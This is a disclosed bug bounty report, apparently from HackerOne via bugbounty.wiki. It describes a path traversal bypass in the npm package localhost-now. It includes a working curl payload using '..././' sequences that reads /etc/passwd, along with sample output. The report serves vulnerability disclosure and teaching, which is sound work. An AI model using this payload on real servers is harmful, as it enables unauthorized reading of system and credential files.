Bypass to defective fix of Path Traversal
The localhost-now web server attempted to block path traversal by deleting all occurrences of '../' from the requested path, but an attacker could bypass this by using a sequence like '..././' that becomes '../' after the deletion. This allowed reading arbitrary files on the server, such as /etc/passwd.
Originally disclosed on HackerOne
- Triaged in 21 hours
- Fixed in 47 days
- Disclosed after 47 days
I would like to report a Path Traversal vulnerability in localhost-now. It allows to read arbitrary files on the server. This is a bypass on the mitigation of #312889 .
Module
module name: localhost-now
version: 1.0.2
npm page: https://www.npmjs.com/package/localhost-now
Module Description
Am I the only one who is lazy to install Apache just for testing some HTML or JavaScript code (like XHR) ?
Module Stats
[13] downloads in the last week
Vulnerability
Vulnerability Description
A path traversal attack aims to access files and directories that are stored outside the web root folder.
Steps To Reproduce:
- Install localhost-now
- Run localhost-now on directory
ec2-user@kali:~$ localhost 5432
Web Server started on localhost:5432
- Execute the curl command
$ curl -v --path-as-is "http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd"
root:x:0:0:root:/root:/usr/bin/fish
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
The problem resides on the line 17 as the code just delete all the '../' strings , allowing a payload like "..././" to be transformed back in "../" .
Supporting Material/References:
- OS version :Linux kali 4.13.0
- NodeJS version : v8.10.0
- NPM version : 5.6.0
Wrap up
- I contacted the maintainer to let them know: No
- I opened an issue in the related repository: No
Impact
The attacker can read remotely all files on the server.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could read any file on the server remotely.
What the attacker needed
Localhost-now running on a directory; network access to the server
How it was found
- Install localhost-now
- Run localhost-now on a directory
- Send a crafted request with a path traversal sequence using curl
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A web server that serves files from a folder should not let you access files outside that folder. The developer tried to stop this by removing '../' from the request, but a clever input like '..././' slips through and still lets you climb out of the folder. This means an attacker can read any file on the machine, like system password files.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.